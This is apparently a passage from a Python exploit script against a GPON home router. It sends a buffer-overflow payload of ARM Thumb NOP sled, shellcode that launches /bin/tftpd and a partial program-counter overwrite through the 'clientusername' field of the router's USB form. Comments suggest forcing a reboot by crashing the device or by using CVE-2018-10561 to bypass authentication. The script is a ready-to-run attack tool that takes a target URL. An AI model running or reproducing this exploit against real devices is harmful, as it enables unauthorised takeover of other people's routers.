    # XWebPageName=usb&ftpenable=0&url=ftp%3A%2F%2F&urlbody=&mode=ftp_anonymous&webdir=&port=21&clientusername=BBBBEBBBBDDDDBBBBBCCCCBBBBAAAABBBBAABBBBBBBBBBBBBBBBBBBBBBAAAAAAAAAABBBBBBEEEBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&clientpassword=&ftpdir=&ftpdirname=undefined&clientaction=download&iptv_wan=2&mvlan=-1
    
    # Weaponizing request:

    # mov    r8, r8 ; NOP for ARM Thumb

    nop = "\xc0\x46"
    
    # .section .text
    # .global _start
    # 
    # _start:
    # .code 32
    # add r3, pc, #1
    # bx r3
    # 
    # ; We've removed prev commands as processor is already in Thumb mode
    #
    # .code 16
    # add   r0, pc, #8
    # eor   r1, r1, r1
    # eor   r2, r2, r2
    # strb  r2, [r0, #10] ; Changing last char of command to \x00 in runtime
    # mov   r7, #11
    # svc   #1
    # .ascii "/bin/tftpdX"  

    shellcode = "\x02\xa0\x49\x40\x52\x40\x82\x72\x0b\x27\x01\xdf\x2f\x62\x69\x6e\x2f\x74\x66\x74\x70\x64\x58"

    # Overwritting only 3 bytes in order to get \x00 in 4th

    pc = "\xe1\x8c\x03"

    exploit = "A" + 197 * nop + shellcode + 26*"A" + pc 

    payload = {'XWebPageName':'usb', 'ftpenable':'0', 'url':'ftp%3A%2F%2F', 'urlbody':'', 'mode':'ftp_anonymous', 
            'webdir':'', 'port':21, 'clientusername':exploit, 'clientpassword':'', 'ftpdir':'', 
            'ftpdirname':'undefined', 'clientaction':'download', 'iptv_wan':'2', 'mvlan':'-1'}
    headers = {'User-Agent':'Mozilla/5.0 (X11; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0',
            'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
            'Accept-Language':'en-US,en;q=0.5', 'Accept-Encoding':'gzip, deflate',
            'Referer':'http://192.168.1.1/usb.html', 'Content-Type':'application/x-www-form-urlencoded',
            'Connection': 'close', 'Upgrade-Insecure-Requests':'1', 
            'Cookie':'hibext_instdsigdipv2=1; _ga=GA1.1.1081495671.1538484678'}    
    # Prevent requests from URL encoding
    payload_str = "&".join("%s=%s" % (k,v) for k,v in payload.items())
    try:
      requests.post(urllib.parse.urljoin(target, '/GponForm/usb_Form?script/'), data=payload_str, headers=headers, verify=False, timeout=2)
    except:
      pass

    print("The payload has been sent. Please check UDP 69 port of router for the tftpd service");
    print("You can use something like: sudo nmap -sU -p 69 192.168.1.1");


def main():
    """ Parse command line arguments and start exploit """
    
    #
    # Exploit should be executed after reboot. You can easily achive this in 3 ways:
    # 1) Send some request to crash WebMgr (any DoS based on BoF). Router will be rebooted after that
    # 2) Use CVE-2018-10561 to bypass authentication and trigger reboot from "device.html" page
    # 3) Repeat this exploit at least twice ;)
    # any of those will work!
    #
    
    parser = argparse.ArgumentParser(
            add_help=False,
            formatter_class=argparse.RawDescriptionHelpFormatter,
            epilog="Examples: %(prog)s -t http://192.168.1.1/")

    # Adds arguments to help menu
    parser.add_argument("-h", action="help", help="Print this help message then exit")
    parser.add_argument("-t", dest="target", required="yes", help="Target URL address like: https://localhost:443/")

    # Assigns the arguments to various variables
    args = parser.parse_args()

    run(args.target)


#
# Main
#

if __name__ == "__main__":
    main()